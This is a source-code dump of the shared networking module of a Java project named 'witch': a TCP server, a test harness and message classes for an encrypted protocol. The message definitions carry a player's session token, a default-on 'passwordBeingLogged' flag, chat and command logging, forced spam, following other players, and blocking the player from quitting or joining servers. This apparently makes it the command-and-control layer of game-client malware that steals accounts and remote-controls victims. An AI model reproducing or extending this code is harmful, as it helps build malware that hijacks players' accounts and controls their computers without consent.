me.soda.witch.shared.socket.messages.messages.DisconnectData; 6 | 7 | import java.io.IOException; 8 | import java.net.InetSocketAddress; 9 | import java.net.ServerSocket; 10 | import java.net.Socket; 11 | import java.util.Collections; 12 | import java.util.HashSet; 13 | import java.util.Set; 14 | import java.util.concurrent.ExecutorService; 15 | import java.util.concurrent.Executors; 16 | import java.util.concurrent.TimeUnit; 17 | 18 | public abstract class TcpServer { 19 | private final ServerSocket serverSocket; 20 | private final Set connections = Collections.synchronizedSet(new HashSet<>()); 21 | private final ExecutorService connectionThreadPool = Executors.newCachedThreadPool(); 22 | 23 | public TcpServer() throws IOException { 24 | serverSocket = new ServerSocket(); 25 | } 26 | 27 | public void start(int port) throws IOException { 28 | serverSocket.bind(new InetSocketAddress(port)); 29 | new ServerThread().start(); 30 | } 31 | 32 | public Set getConnections() { 33 | return connections; 34 | } 35 | 36 | public void stop() throws IOException, InterruptedException { 37 | connections.forEach(connection -> connection.close(DisconnectData.Reason.NORMAL)); 38 | connectionThreadPool.shutdown(); 39 | if (!connectionThreadPool.awaitTermination(5, TimeUnit.SECONDS)) { 40 | LogUtil.println("Pool did not terminate"); 41 | connectionThreadPool.shutdownNow(); 42 | } 43 | serverSocket.close(); 44 | } 45 | 46 | public boolean isStopped() { 47 | return serverSocket.isClosed(); 48 | } 49 | 50 | public abstract void onOpen(Connection connection); 51 | 52 | public abstract void onClose(Connection connection, DisconnectData packet); 53 | 54 | public abstract void onMessage(Connection connection, Message message); 55 | 56 | private class ServerThread extends Thread { 57 | @Override 58 | public void run() { 59 | while (!serverSocket.isClosed()) { 60 | try { 61 | connectionThreadPool.execute(new ServerConnection(serverSocket.accept())); 62 | } catch (IOException e) { 63 | LogUtil.printStackTrace(e); 64 | } 65 | } 66 | } 67 | } 68 | 69 | private class ServerConnection extends Connection { 70 | public ServerConnection(Socket socket) throws IOException { 71 | super(socket); 72 | } 73 | 74 | @Override 75 | public void onOpen() { 76 | connections.add(this); 77 | TcpServer.this.onOpen(this); 78 | } 79 | 80 | @Override 81 | public void onClose(DisconnectData disconnectData) { 82 | connections.remove(this); 83 | TcpServer.this.onClose(this, disconnectData); 84 | } 85 | 86 | @Override 87 | public void onMessage(Message message) { 88 | TcpServer.this.onMessage(this, message); 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/Test.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket; 2 | 3 | import me.soda.witch.shared.Crypto; 4 | import me.soda.witch.shared.socket.messages.Message; 5 | import me.soda.witch.shared.socket.messages.messages.DisconnectData; 6 | import me.soda.witch.shared.socket.messages.messages.StringsData; 7 | 8 | import java.io.BufferedReader; 9 | import java.io.IOException; 10 | import java.io.InputStreamReader; 11 | import java.util.List; 12 | 13 | public class Test { 14 | public static void main(String[] args) throws Exception { 15 | Crypto.INSTANCE = new Crypto(new byte[]{0, 1}); 16 | Server server = new Server(); 17 | server.start(11451); 18 | new Client("127.0.0.1", 11451, 1000); 19 | 20 | 21 | BufferedReader inputStream = new BufferedReader(new InputStreamReader(System.in)); 22 | while (true) { 23 | String in = inputStream.readLine(); 24 | String[] msgArr = in.split(" "); 25 | if (msgArr.length > 0) { 26 | try { 27 | switch (msgArr[0]) { 28 | case "stop" -> server.stop(); 29 | case "conn" -> 30 | server.getConnections().forEach(connection -> connection.close(DisconnectData.Reason.RECONNECT)); 31 | case "cc" -> 32 | server.getConnections().forEach(connection -> connection.close(DisconnectData.Reason.NOREC)); 33 | default -> { 34 | server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("1")))); 35 | server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("2")))); 36 | server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("3")))); 37 | server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("4")))); 38 | server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("1")))); 39 | server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("2")))); 40 | server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("3")))); 41 | server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("4")))); 42 | //server.getConnections().forEach(connection -> connection.send(new StringsData("34", List.of("em", in)))); 43 | } 44 | } 45 | } catch (Exception e) { 46 | e.printStackTrace(); 47 | } 48 | } 49 | } 50 | } 51 | 52 | public static class Server extends TcpServer { 53 | public Server() throws IOException { 54 | } 55 | 56 | @Override 57 | public void onOpen(Connection connection) { 58 | System.out.println("open" + this); 59 | } 60 | 61 | @Override 62 | public void onMessage(Connection connection, Message message) { 63 | System.out.println("message" + this + message); 64 | } 65 | 66 | @Override 67 | public void onClose(Connection connection, DisconnectData packet) { 68 | System.out.println("close" + this + packet); 69 | } 70 | } 71 | 72 | public static class Client extends TcpClient { 73 | public Client(String host, int port, long reconnectTimeout) { 74 | super(host, port, reconnectTimeout); 75 | } 76 | 77 | @Override 78 | public void onOpen() { 79 | System.out.println("open" + this); 80 | } 81 | 82 | @Override 83 | public void onMessage(Message message) { 84 | System.out.println("message" + message); 85 | send(new StringsData("1", List.of("resp"))); 86 | } 87 | 88 | @Override 89 | public void onClose(DisconnectData disconnectData) { 90 | System.out.println("close" + this + disconnectData); 91 | } 92 | 93 | @Override 94 | public boolean onReconnect() { 95 | System.out.println("rec" + this); 96 | return true; 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/Data.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages; 2 | 3 | public interface Data { 4 | } 5 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/Message.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages; 2 | 3 | import com.google.gson.Gson; 4 | import com.google.gson.JsonObject; 5 | import me.soda.witch.shared.Crypto; 6 | import me.soda.witch.shared.socket.messages.messages.*; 7 | 8 | import java.util.ArrayList; 9 | import java.util.HashMap; 10 | import java.util.List; 11 | import java.util.Map; 12 | 13 | public class Message { 14 | private static final Map> MESSAGE_ID_MAP = new HashMap<>() {{ 15 | put(1, DisconnectData.class); 16 | put(2, PlayerData.class); 17 | put(3, ClientConfigData.class); 18 | put(4, SpamData.class); 19 | put(5, ByteData.class); 20 | put(7, OKData.class); 21 | put(10, StringsData.class); 22 | put(12, BooleanData.class); 23 | put(13, FollowData.class); 24 | put(14, MessageList.class); 25 | }}; 26 | private static final Gson GSON = new Gson(); 27 | public final Object data; 28 | @SuppressWarnings({"FieldCanBeLocal", "unused"}) 29 | private final int id; 30 | 31 | public Message(Data object) { 32 | for (int id : MESSAGE_ID_MAP.keySet()) { 33 | if (object.getClass() == MESSAGE_ID_MAP.get(id)) { 34 | this.id = id; 35 | data = object; 36 | return; 37 | } 38 | } 39 | throw new UnsupportedOperationException("Unknown Message"); 40 | } 41 | 42 | public static void registerMessage(int id, Class message) { 43 | if (MESSAGE_ID_MAP.containsKey(id)) throw new UnsupportedOperationException("Duplicate message"); 44 | MESSAGE_ID_MAP.put(id, message); 45 | } 46 | 47 | public static Message fromJson(String string) { 48 | return fromJsonObj(GSON.fromJson(string, JsonObject.class)); 49 | } 50 | 51 | private static Message fromJsonObj(JsonObject json) { 52 | int id = json.get("id").getAsInt(); 53 | if (MESSAGE_ID_MAP.containsKey(id)) { 54 | Class messageClass = MESSAGE_ID_MAP.get(id); 55 | if (messageClass == MessageList.class) { 56 | List l = new ArrayList<>(); 57 | JsonObject data = json.getAsJsonObject("data"); 58 | data.getAsJsonArray("data").forEach(jsonElement -> l.add(fromJsonObj(jsonElement.getAsJsonObject()))); 59 | return new Message(new MessageList<>(data.get("id").getAsString(), l)); 60 | } else { 61 | return new Message(GSON.fromJson(json.getAsJsonObject("data"), messageClass)); 62 | } 63 | } else { 64 | throw new UnsupportedOperationException("Unknown Message"); 65 | } 66 | } 67 | 68 | public static Message decrypt(byte[] bytes) { 69 | return fromJson(new String(Crypto.INSTANCE.decrypt(bytes))); 70 | } 71 | 72 | public byte[] encrypt() { 73 | return Crypto.INSTANCE.encrypt(toString().getBytes()); 74 | } 75 | 76 | @Override 77 | public String toString() { 78 | return GSON.toJson(this); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/BooleanData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | public record BooleanData(String id, boolean bl) implements Data { 6 | } 7 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/ByteData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | import java.util.Base64; 6 | 7 | public class ByteData implements Data { 8 | public String id; 9 | public String data; 10 | 11 | public ByteData(String id, byte[] data) { 12 | this.id = id; 13 | this.data = new String(Base64.getEncoder().encode(data)); 14 | } 15 | 16 | public byte[] bytes() { 17 | return Base64.getDecoder().decode(data); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/ClientConfigData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | 8 | public class ClientConfigData implements Data { 9 | public boolean passwordBeingLogged = true; 10 | public boolean isMuted = false; 11 | public boolean isBeingFiltered = false; 12 | public String filterPattern = ""; 13 | public boolean logChatAndCommand = false; 14 | public boolean canJoinServer = true; 15 | public boolean canQuitServerOrCloseWindow = true; 16 | public String name = "Witch"; 17 | public List invisiblePlayers = new ArrayList<>(); 18 | } 19 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/DisconnectData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | public record DisconnectData(Reason reason, String message) implements Data { 6 | public enum Reason { 7 | RECONNECT, 8 | NOREC, 9 | NORMAL, 10 | EXCEPTION 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/FollowData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | public record FollowData(String playerName, double distance, boolean stop) implements Data { 6 | } 7 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/MessageList.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | import me.soda.witch.shared.socket.messages.Message; 5 | 6 | import java.util.List; 7 | 8 | public record MessageList(String id, List data) implements Data { 9 | } 10 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/OKData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | public class OKData implements Data { 6 | } 7 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/PlayerData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | public record PlayerData(String playerName, String uuid, String server, String token, boolean isOp, boolean inGame, 6 | boolean isWin, double x, double y, double z) implements Data { 7 | } 8 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/SpamData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | public record SpamData(String message, int times, int delayInTicks, boolean invisible) implements Data { 6 | } 7 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/messages/messages/StringsData.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket.messages.messages; 2 | 3 | import me.soda.witch.shared.socket.messages.Data; 4 | 5 | import java.util.List; 6 | 7 | public record StringsData(String id, List data) implements Data { 8 | } 9 | --------------------------------------------------------------------------------